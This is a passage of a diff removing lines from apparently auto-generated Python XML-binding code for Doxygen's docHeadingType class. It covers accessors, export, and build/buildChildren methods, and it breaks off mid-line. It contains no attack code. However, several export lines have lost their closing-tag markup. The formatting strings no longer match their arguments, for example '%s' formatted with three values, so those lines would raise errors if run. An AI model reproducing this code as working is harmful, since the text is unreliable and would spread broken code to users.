self.xmlonly = xmlonly - self.xmlonly_nsprefix_ = None - if rtfonly is None: - self.rtfonly = [] - else: - self.rtfonly = rtfonly - self.rtfonly_nsprefix_ = None - if latexonly is None: - self.latexonly = [] - else: - self.latexonly = latexonly - self.latexonly_nsprefix_ = None - if docbookonly is None: - self.docbookonly = [] - else: - self.docbookonly = docbookonly - self.docbookonly_nsprefix_ = None - if image is None: - self.image = [] - else: - self.image = image - self.image_nsprefix_ = None - if dot is None: - self.dot = [] - else: - self.dot = dot - self.dot_nsprefix_ = None - if msc is None: - self.msc = [] - else: - self.msc = msc - self.msc_nsprefix_ = None - if plantuml is None: - self.plantuml = [] - else: - self.plantuml = plantuml - self.plantuml_nsprefix_ = None - if anchor is None: - self.anchor = [] - else: - self.anchor = anchor - self.anchor_nsprefix_ = None - if formula is None: - self.formula = [] - else: - self.formula = formula - self.formula_nsprefix_ = None - if ref is None: - self.ref = [] - else: - self.ref = ref - self.ref_nsprefix_ = None - if emoji is None: - self.emoji = [] - else: - self.emoji = emoji - self.emoji_nsprefix_ = None - if linebreak is None: - self.linebreak = [] - else: - self.linebreak = linebreak - self.linebreak_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docHeadingType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docHeadingType.subclass: - return docHeadingType.subclass(*args_, **kwargs_) - else: - return docHeadingType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_ulink(self): - return self.ulink - def set_ulink(self, ulink): - self.ulink = ulink - def add_ulink(self, value): - self.ulink.append(value) - def insert_ulink_at(self, index, value): - self.ulink.insert(index, value) - def replace_ulink_at(self, index, value): - self.ulink[index] = value - def get_bold(self): - return self.bold - def set_bold(self, bold): - self.bold = bold - def add_bold(self, value): - self.bold.append(value) - def insert_bold_at(self, index, value): - self.bold.insert(index, value) - def replace_bold_at(self, index, value): - self.bold[index] = value - def get_s(self): - return self.s - def set_s(self, s): - self.s = s - def add_s(self, value): - self.s.append(value) - def insert_s_at(self, index, value): - self.s.insert(index, value) - def replace_s_at(self, index, value): - self.s[index] = value - def get_strike(self): - return self.strike - def set_strike(self, strike): - self.strike = strike - def add_strike(self, value): - self.strike.append(value) - def insert_strike_at(self, index, value): - self.strike.insert(index, value) - def replace_strike_at(self, index, value): - self.strike[index] = value - def get_underline(self): - return self.underline - def set_underline(self, underline): - self.underline = underline - def add_underline(self, value): - self.underline.append(value) - def insert_underline_at(self, index, value): - self.underline.insert(index, value) - def replace_underline_at(self, index, value): - self.underline[index] = value - def get_emphasis(self): - return self.emphasis - def set_emphasis(self, emphasis): - self.emphasis = emphasis - def add_emphasis(self, value): - self.emphasis.append(value) - def insert_emphasis_at(self, index, value): - self.emphasis.insert(index, value) - def replace_emphasis_at(self, index, value): - self.emphasis[index] = value - def get_computeroutput(self): - return self.computeroutput - def set_computeroutput(self, computeroutput): - self.computeroutput = computeroutput - def add_computeroutput(self, value): - self.computeroutput.append(value) - def insert_computeroutput_at(self, index, value): - self.computeroutput.insert(index, value) - def replace_computeroutput_at(self, index, value): - self.computeroutput[index] = value - def get_subscript(self): - return self.subscript - def set_subscript(self, subscript): - self.subscript = subscript - def add_subscript(self, value): - self.subscript.append(value) - def insert_subscript_at(self, index, value): - self.subscript.insert(index, value) - def replace_subscript_at(self, index, value): - self.subscript[index] = value - def get_superscript(self): - return self.superscript - def set_superscript(self, superscript): - self.superscript = superscript - def add_superscript(self, value): - self.superscript.append(value) - def insert_superscript_at(self, index, value): - self.superscript.insert(index, value) - def replace_superscript_at(self, index, value): - self.superscript[index] = value - def get_center(self): - return self.center - def set_center(self, center): - self.center = center - def add_center(self, value): - self.center.append(value) - def insert_center_at(self, index, value): - self.center.insert(index, value) - def replace_center_at(self, index, value): - self.center[index] = value - def get_small(self): - return self.small - def set_small(self, small): - self.small = small - def add_small(self, value): - self.small.append(value) - def insert_small_at(self, index, value): - self.small.insert(index, value) - def replace_small_at(self, index, value): - self.small[index] = value - def get_cite(self): - return self.cite - def set_cite(self, cite): - self.cite = cite - def add_cite(self, value): - self.cite.append(value) - def insert_cite_at(self, index, value): - self.cite.insert(index, value) - def replace_cite_at(self, index, value): - self.cite[index] = value - def get_del(self): - return self.del_ - def set_del(self, del_): - self.del_ = del_ - def add_del(self, value): - self.del_.append(value) - def insert_del_at(self, index, value): - self.del_.insert(index, value) - def replace_del_at(self, index, value): - self.del_[index] = value - def get_ins(self): - return self.ins - def set_ins(self, ins): - self.ins = ins - def add_ins(self, value): - self.ins.append(value) - def insert_ins_at(self, index, value): - self.ins.insert(index, value) - def replace_ins_at(self, index, value): - self.ins[index] = value - def get_htmlonly(self): - return self.htmlonly - def set_htmlonly(self, htmlonly): - self.htmlonly = htmlonly - def add_htmlonly(self, value): - self.htmlonly.append(value) - def insert_htmlonly_at(self, index, value): - self.htmlonly.insert(index, value) - def replace_htmlonly_at(self, index, value): - self.htmlonly[index] = value - def get_manonly(self): - return self.manonly - def set_manonly(self, manonly): - self.manonly = manonly - def add_manonly(self, value): - self.manonly.append(value) - def insert_manonly_at(self, index, value): - self.manonly.insert(index, value) - def replace_manonly_at(self, index, value): - self.manonly[index] = value - def get_xmlonly(self): - return self.xmlonly - def set_xmlonly(self, xmlonly): - self.xmlonly = xmlonly - def add_xmlonly(self, value): - self.xmlonly.append(value) - def insert_xmlonly_at(self, index, value): - self.xmlonly.insert(index, value) - def replace_xmlonly_at(self, index, value): - self.xmlonly[index] = value - def get_rtfonly(self): - return self.rtfonly - def set_rtfonly(self, rtfonly): - self.rtfonly = rtfonly - def add_rtfonly(self, value): - self.rtfonly.append(value) - def insert_rtfonly_at(self, index, value): - self.rtfonly.insert(index, value) - def replace_rtfonly_at(self, index, value): - self.rtfonly[index] = value - def get_latexonly(self): - return self.latexonly - def set_latexonly(self, latexonly): - self.latexonly = latexonly - def add_latexonly(self, value): - self.latexonly.append(value) - def insert_latexonly_at(self, index, value): - self.latexonly.insert(index, value) - def replace_latexonly_at(self, index, value): - self.latexonly[index] = value - def get_docbookonly(self): - return self.docbookonly - def set_docbookonly(self, docbookonly): - self.docbookonly = docbookonly - def add_docbookonly(self, value): - self.docbookonly.append(value) - def insert_docbookonly_at(self, index, value): - self.docbookonly.insert(index, value) - def replace_docbookonly_at(self, index, value): - self.docbookonly[index] = value - def get_image(self): - return self.image - def set_image(self, image): - self.image = image - def add_image(self, value): - self.image.append(value) - def insert_image_at(self, index, value): - self.image.insert(index, value) - def replace_image_at(self, index, value): - self.image[index] = value - def get_dot(self): - return self.dot - def set_dot(self, dot): - self.dot = dot - def add_dot(self, value): - self.dot.append(value) - def insert_dot_at(self, index, value): - self.dot.insert(index, value) - def replace_dot_at(self, index, value): - self.dot[index] = value - def get_msc(self): - return self.msc - def set_msc(self, msc): - self.msc = msc - def add_msc(self, value): - self.msc.append(value) - def insert_msc_at(self, index, value): - self.msc.insert(index, value) - def replace_msc_at(self, index, value): - self.msc[index] = value - def get_plantuml(self): - return self.plantuml - def set_plantuml(self, plantuml): - self.plantuml = plantuml - def add_plantuml(self, value): - self.plantuml.append(value) - def insert_plantuml_at(self, index, value): - self.plantuml.insert(index, value) - def replace_plantuml_at(self, index, value): - self.plantuml[index] = value - def get_anchor(self): - return self.anchor - def set_anchor(self, anchor): - self.anchor = anchor - def add_anchor(self, value): - self.anchor.append(value) - def insert_anchor_at(self, index, value): - self.anchor.insert(index, value) - def replace_anchor_at(self, index, value): - self.anchor[index] = value - def get_formula(self): - return self.formula - def set_formula(self, formula): - self.formula = formula - def add_formula(self, value): - self.formula.append(value) - def insert_formula_at(self, index, value): - self.formula.insert(index, value) - def replace_formula_at(self, index, value): - self.formula[index] = value - def get_ref(self): - return self.ref - def set_ref(self, ref): - self.ref = ref - def add_ref(self, value): - self.ref.append(value) - def insert_ref_at(self, index, value): - self.ref.insert(index, value) - def replace_ref_at(self, index, value): - self.ref[index] = value - def get_emoji(self): - return self.emoji - def set_emoji(self, emoji): - self.emoji = emoji - def add_emoji(self, value): - self.emoji.append(value) - def insert_emoji_at(self, index, value): - self.emoji.insert(index, value) - def replace_emoji_at(self, index, value): - self.emoji[index] = value - def get_linebreak(self): - return self.linebreak - def set_linebreak(self, linebreak): - self.linebreak = linebreak - def add_linebreak(self, value): - self.linebreak.append(value) - def insert_linebreak_at(self, index, value): - self.linebreak.insert(index, value) - def replace_linebreak_at(self, index, value): - self.linebreak[index] = value - def get_level(self): - return self.level - def set_level(self, level): - self.level = level - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - self.ulink or - self.bold or - self.s or - self.strike or - self.underline or - self.emphasis or - self.computeroutput or - self.subscript or - self.superscript or - self.center or - self.small or - self.cite or - self.del_ or - self.ins or - self.htmlonly or - self.manonly or - self.xmlonly or - self.rtfonly or - self.latexonly or - self.docbookonly or - self.image or - self.dot or - self.msc or - self.plantuml or - self.anchor or - self.formula or - self.ref or - self.emoji or - self.linebreak or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docHeadingType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docHeadingType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docHeadingType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docHeadingType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docHeadingType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docHeadingType'): - if self.level is not None and 'level' not in already_processed: - already_processed.add('level') - outfile.write(' level="%s"' % self.gds_format_integer(self.level, input_name='level')) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docHeadingType', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for ulink_ in self.ulink: - namespaceprefix_ = self.ulink_nsprefix_ + ':' if (UseCapturedNS_ and self.ulink_nsprefix_) else '' - ulink_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ulink', pretty_print=pretty_print) - for bold_ in self.bold: - namespaceprefix_ = self.bold_nsprefix_ + ':' if (UseCapturedNS_ and self.bold_nsprefix_) else '' - bold_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='bold', pretty_print=pretty_print) - for s_ in self.s: - namespaceprefix_ = self.s_nsprefix_ + ':' if (UseCapturedNS_ and self.s_nsprefix_) else '' - s_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='s', pretty_print=pretty_print) - for strike_ in self.strike: - namespaceprefix_ = self.strike_nsprefix_ + ':' if (UseCapturedNS_ and self.strike_nsprefix_) else '' - strike_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='strike', pretty_print=pretty_print) - for underline_ in self.underline: - namespaceprefix_ = self.underline_nsprefix_ + ':' if (UseCapturedNS_ and self.underline_nsprefix_) else '' - underline_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='underline', pretty_print=pretty_print) - for emphasis_ in self.emphasis: - namespaceprefix_ = self.emphasis_nsprefix_ + ':' if (UseCapturedNS_ and self.emphasis_nsprefix_) else '' - emphasis_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emphasis', pretty_print=pretty_print) - for computeroutput_ in self.computeroutput: - namespaceprefix_ = self.computeroutput_nsprefix_ + ':' if (UseCapturedNS_ and self.computeroutput_nsprefix_) else '' - computeroutput_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='computeroutput', pretty_print=pretty_print) - for subscript_ in self.subscript: - namespaceprefix_ = self.subscript_nsprefix_ + ':' if (UseCapturedNS_ and self.subscript_nsprefix_) else '' - subscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='subscript', pretty_print=pretty_print) - for superscript_ in self.superscript: - namespaceprefix_ = self.superscript_nsprefix_ + ':' if (UseCapturedNS_ and self.superscript_nsprefix_) else '' - superscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='superscript', pretty_print=pretty_print) - for center_ in self.center: - namespaceprefix_ = self.center_nsprefix_ + ':' if (UseCapturedNS_ and self.center_nsprefix_) else '' - center_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='center', pretty_print=pretty_print) - for small_ in self.small: - namespaceprefix_ = self.small_nsprefix_ + ':' if (UseCapturedNS_ and self.small_nsprefix_) else '' - small_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='small', pretty_print=pretty_print) - for cite_ in self.cite: - namespaceprefix_ = self.cite_nsprefix_ + ':' if (UseCapturedNS_ and self.cite_nsprefix_) else '' - cite_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='cite', pretty_print=pretty_print) - for del_ in self.del_: - namespaceprefix_ = self.del__nsprefix_ + ':' if (UseCapturedNS_ and self.del__nsprefix_) else '' - del_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='del', pretty_print=pretty_print) - for ins_ in self.ins: - namespaceprefix_ = self.ins_nsprefix_ + ':' if (UseCapturedNS_ and self.ins_nsprefix_) else '' - ins_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ins', pretty_print=pretty_print) - for htmlonly_ in self.htmlonly: - namespaceprefix_ = self.htmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.htmlonly_nsprefix_) else '' - htmlonly_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='htmlonly', pretty_print=pretty_print) - for manonly_ in self.manonly: - namespaceprefix_ = self.manonly_nsprefix_ + ':' if (UseCapturedNS_ and self.manonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%smanonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(manonly_), input_name='manonly')), namespaceprefix_ , eol_)) - for xmlonly_ in self.xmlonly: - namespaceprefix_ = self.xmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.xmlonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sxmlonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(xmlonly_), input_name='xmlonly')), namespaceprefix_ , eol_)) - for rtfonly_ in self.rtfonly: - namespaceprefix_ = self.rtfonly_nsprefix_ + ':' if (UseCapturedNS_ and self.rtfonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%srtfonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(rtfonly_), input_name='rtfonly')), namespaceprefix_ , eol_)) - for latexonly_ in self.latexonly: - namespaceprefix_ = self.latexonly_nsprefix_ + ':' if (UseCapturedNS_ and self.latexonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%slatexonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(latexonly_), input_name='latexonly')), namespaceprefix_ , eol_)) - for docbookonly_ in self.docbookonly: - namespaceprefix_ = self.docbookonly_nsprefix_ + ':' if (UseCapturedNS_ and self.docbookonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sdocbookonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(docbookonly_), input_name='docbookonly')), namespaceprefix_ , eol_)) - for image_ in self.image: - namespaceprefix_ = self.image_nsprefix_ + ':' if (UseCapturedNS_ and self.image_nsprefix_) else '' - image_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='image', pretty_print=pretty_print) - for dot_ in self.dot: - namespaceprefix_ = self.dot_nsprefix_ + ':' if (UseCapturedNS_ and self.dot_nsprefix_) else '' - dot_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='dot', pretty_print=pretty_print) - for msc_ in self.msc: - namespaceprefix_ = self.msc_nsprefix_ + ':' if (UseCapturedNS_ and self.msc_nsprefix_) else '' - msc_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='msc', pretty_print=pretty_print) - for plantuml_ in self.plantuml: - namespaceprefix_ = self.plantuml_nsprefix_ + ':' if (UseCapturedNS_ and self.plantuml_nsprefix_) else '' - plantuml_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='plantuml', pretty_print=pretty_print) - for anchor_ in self.anchor: - namespaceprefix_ = self.anchor_nsprefix_ + ':' if (UseCapturedNS_ and self.anchor_nsprefix_) else '' - anchor_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='anchor', pretty_print=pretty_print) - for formula_ in self.formula: - namespaceprefix_ = self.formula_nsprefix_ + ':' if (UseCapturedNS_ and self.formula_nsprefix_) else '' - formula_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='formula', pretty_print=pretty_print) - for ref_ in self.ref: - namespaceprefix_ = self.ref_nsprefix_ + ':' if (UseCapturedNS_ and self.ref_nsprefix_) else '' - ref_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ref', pretty_print=pretty_print) - for emoji_ in self.emoji: - namespaceprefix_ = self.emoji_nsprefix_ + ':' if (UseCapturedNS_ and self.emoji_nsprefix_) else '' - emoji_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emoji', pretty_print=pretty_print) - for linebreak_ in self.linebreak: - namespaceprefix_ = self.linebreak_nsprefix_ + ':' if (UseCapturedNS_ and self.linebreak_nsprefix_) else '' - linebreak_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='linebreak', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('level', node) - if value is not None and 'level' not in already_processed: - already_processed.add('level') - self.level = self.gds_parse_integer(value, node, 'level') - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'ulink': - obj_ = docURLLink.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ulink', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ulink'): - self.add_ulink(obj_.value) - elif hasattr(self, 'set_ulink'): - self.set_ulink(obj_.value) - elif nodeName_ == 'bold': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'bold', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_bold'): - self.add_bold(obj_.value) - elif hasattr(self, 'set_bold'): - self.set_bold(obj_.value) - elif nodeName_ == 's': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 's', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_s'): - self.add_s(obj_.value) - elif hasattr(self, 'set_s'): - self.set_s(obj_.value) - elif nodeName_ == 'strike': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'strike', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_strike'): - self.add_strike(obj_.value) - elif hasattr(self, 'set_strike'): - self.set_strike(obj_.value) - elif nodeName_ == 'underline': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'underline', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_underline'): - self.add_underline(obj_.value) - elif hasattr(self, 'set_underline'): - self.set_underline(obj_.value) - elif nodeName_ == 'emphasis': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emphasis', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emphasis'): - self.add_emphasis(obj_.value) - elif hasattr(self, 'set_emphasis'): - self.set_emphasis(obj_.value) - elif nodeName_ == 'computeroutput': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'computeroutput', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_computeroutput'): - self.add_computeroutput(obj_.value) - elif hasattr(self, 'set_computeroutput'): - self.set_computeroutput(obj_.value) - elif nodeName_ == 'subscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'subscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_subscript'): - self.add_subscript(obj_.value) - elif hasattr(self, 'set_subscript'): - self.set_subscript(obj_.value) - elif nodeName_ == 'superscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'superscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_superscript'): - self.add_superscript(obj_.value) - elif hasattr(self, 'set_superscript'): - self.set_superscript(obj_.value) - elif nodeName_ == 'center': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'center', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_center'): - self.add_center(obj_.value) - elif hasattr(self, 'set_center'): - self.set_center(obj_.value) - elif nodeName_ == 'small': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'small', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_small'): - self.add_small(obj_.value) - elif hasattr(self, 'set_small'): - self.set_small(obj_.value) - elif nodeName_ == 'cite': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'cite', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_cite'): - self.add_cite(obj_.value) - elif hasattr(self, 'set_cite'): - self.set_cite(obj_.value) - elif nodeName_ == 'del': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'del', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_del'): - self.add_del(obj_.value) - elif hasattr(self, 'set_del'): - self.set_del(obj_.value) - elif nodeName_ == 'ins': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ins', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ins'): - self.add_ins(obj_.value) - elif hasattr(self, 'set_ins'): - self.set_ins(obj_.value) - elif nodeName_ == 'htmlonly': - obj_ = docHtmlOnlyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'htmlonly', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_htmlonly'): - self.add_htmlonly(obj_.value) - elif hasattr(self, 'set_htmlonly'): - self.set_htmlonly(obj_.value) - elif nodeName_ == 'manonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'manonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'manonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'manonly', valuestr_) - self.content_.append(obj_) - self.manonly_nsprefix_ = child_.prefix - elif nodeName_ == 'xmlonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'xmlonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'xmlonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'xmlonly', valuestr_) - self.content_.append(obj_) - self.xmlonly_nsprefix_ = child_.prefix - elif nodeName_ == 'rtfonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'rtfonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'rtfonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'rtfonly', valuestr_) - self.content_.append(obj_) - self.rtfonly_nsprefix_ = child_.prefix - elif nodeName_ == 'latexonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'latexonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'latexonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'latexonly', valuestr_) - self.content_.append(obj_) - self.latexonly_nsprefix_ = child_.prefix - elif nodeName_ == 'docbookonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'docbookonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'docbookonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'docbookonly', valuestr_) - self.content_.append(obj_) - self.docbookonly_nsprefix_ = child_.prefix - elif nodeName_ == 'image': - obj_ = docImageType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'image', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_image'): - self.add_image(obj_.value) - elif hasattr(self, 'set_image'): - self.set_image(obj_.value) - elif nodeName_ == 'dot': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'dot', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_dot'): - self.add_dot(obj_.value) - elif hasattr(self, 'set_dot'): - self.set_dot(obj_.value) - elif nodeName_ == 'msc': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'msc', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_msc'): - self.add_msc(obj_.value) - elif hasattr(self, 'set_msc'): - self.set_msc(obj_.value) - elif nodeName_ == 'plantuml': - obj_ = docPlantumlType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'plantuml', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_plantuml'): - self.add_plantuml(obj_.value) - elif hasattr(self, 'set_plantuml'): - self.set_plantuml(obj_.value) - elif nodeName_ == 'anchor': - obj_ = docAnchorType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'anchor', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_anchor'): - self.add_anchor(obj_.value) - elif hasattr(self, 'set_anchor'): - self.set_anchor(obj_.value) - elif nodeName_ == 'formula': - obj_ = docFormulaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'formula', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_formula'): - self.add_formula(obj_.value) - elif hasattr(self, 'set_formula'): - self.set_formula(obj_.value) - elif nodeName_ == 'ref': - obj_ = docRefTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ref', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ref'): - self.add_ref(obj_.value) - elif hasattr(self, 'set_ref'): - self.set_ref(obj_.value) - elif nodeName_ == 'emoji': - obj_ = docEmojiType.factory(parent_object_=self) - obj_.build(child_, 